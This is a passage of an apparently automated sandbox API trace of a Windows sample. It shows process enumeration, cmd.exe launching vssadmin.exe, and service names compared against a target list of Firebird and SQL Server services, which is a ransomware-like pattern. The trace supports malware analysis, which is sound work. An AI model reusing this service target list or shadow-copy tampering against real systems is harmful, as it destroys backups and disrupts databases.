szExeFile="mayorintl.exe")) returned 1 [0048.801] lstrlenW (lpString="mayorintl.exe") returned 13 [0048.801] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0048.802] lstrlenW (lpString="gzip-june.exe") returned 13 [0048.802] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0048.802] lstrlenW (lpString="lsnavy.exe") returned 10 [0048.802] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0048.803] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0048.803] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0048.804] lstrlenW (lpString="specifications.exe") returned 18 [0048.804] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0048.804] lstrlenW (lpString="soup-mario.exe") returned 14 [0048.804] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0048.805] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0048.805] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0048.805] lstrlenW (lpString="platformsprivate.exe") returned 20 [0048.806] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0048.806] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0048.806] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0048.807] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0048.807] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0048.807] lstrlenW (lpString="scan-allows.exe") returned 15 [0048.807] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0048.808] lstrlenW (lpString="mwprovince.exe") returned 14 [0048.808] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0048.808] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0048.808] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0048.809] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0048.809] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0048.810] lstrlenW (lpString="contacting.exe") returned 14 [0048.810] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0048.810] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0048.810] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0048.811] lstrlenW (lpString="jpmanagers.exe") returned 14 [0048.811] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0048.811] lstrlenW (lpString="motor.exe") returned 9 [0048.811] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0048.812] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0048.812] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0048.812] lstrlenW (lpString="toshiba.exe") returned 11 [0048.812] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.813] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.813] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0048.813] lstrlenW (lpString="mobsync.exe") returned 11 [0048.813] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0048.814] lstrlenW (lpString="3G6885.exe") returned 10 [0048.814] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.814] lstrlenW (lpString="cmd.exe") returned 7 [0048.814] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.815] lstrlenW (lpString="conhost.exe") returned 11 [0048.815] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.815] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.815] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.816] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.816] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0048.816] CloseHandle (hObject=0x1f8) returned 1 [0048.817] Sleep (dwMilliseconds=0x1f4) [0049.651] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640210 [0049.677] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0049.677] GetLastError () returned 0xea [0049.677] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x123e) returned 0x36b4738 [0049.677] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b4738, cbBufSize=0x123e, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b4738, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0049.678] CloseServiceHandle (hSCObject=0x640210) returned 1 [0049.678] lstrlenW (lpString="Appinfo") returned 7 [0049.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.679] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.679] lstrlenW (lpString="AudioSrv") returned 8 [0049.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.679] lstrlenW (lpString="BFE") returned 3 [0049.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.679] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.679] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.679] lstrlenW (lpString="CryptSvc") returned 8 [0049.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.679] lstrlenW (lpString="CscService") returned 10 [0049.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.679] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.679] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.680] lstrlenW (lpString="DcomLaunch") returned 10 [0049.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.680] lstrlenW (lpString="Dhcp") returned 4 [0049.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.680] lstrlenW (lpString="Dnscache") returned 8 [0049.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.680] lstrlenW (lpString="DPS") returned 3 [0049.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.680] lstrlenW (lpString="eventlog") returned 8 [0049.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.680] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.680] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.681] lstrlenW (lpString="EventSystem") returned 11 [0049.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.681] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.681] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.681] lstrlenW (lpString="gpsvc") returned 5 [0049.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.681] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.681] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.681] lstrlenW (lpString="iphlpsvc") returned 8 [0049.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.681] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.681] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.681] lstrlenW (lpString="LanmanServer") returned 12 [0049.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.682] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.682] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.682] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.682] lstrlenW (lpString="lmhosts") returned 7 [0049.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.682] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.682] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.682] lstrlenW (lpString="MMCSS") returned 5 [0049.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.682] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.682] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.682] lstrlenW (lpString="MpsSvc") returned 6 [0049.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.682] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.682] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.683] lstrlenW (lpString="Netman") returned 6 [0049.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.683] lstrlenW (lpString="netprofm") returned 8 [0049.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.683] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.683] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.683] lstrlenW (lpString="NlaSvc") returned 6 [0049.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.683] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.683] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.683] lstrlenW (lpString="nsi") returned 3 [0049.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.683] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.683] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.683] lstrlenW (lpString="PcaSvc") returned 6 [0049.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.684] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.684] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.684] lstrlenW (lpString="PlugPlay") returned 8 [0049.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.684] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.684] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.684] lstrlenW (lpString="Power") returned 5 [0049.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.684] lstrlenW (lpString="ProfSvc") returned 7 [0049.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.684] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.684] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.684] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.684] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.685] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.685] lstrlenW (lpString="RpcSs") returned 5 [0049.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.685] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.685] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.685] lstrlenW (lpString="SamSs") returned 5 [0049.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.685] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.685] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.685] lstrlenW (lpString="Schedule") returned 8 [0049.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.685] lstrlenW (lpString="SENS") returned 4 [0049.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.685] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.685] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.685] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.686] lstrcmpiW 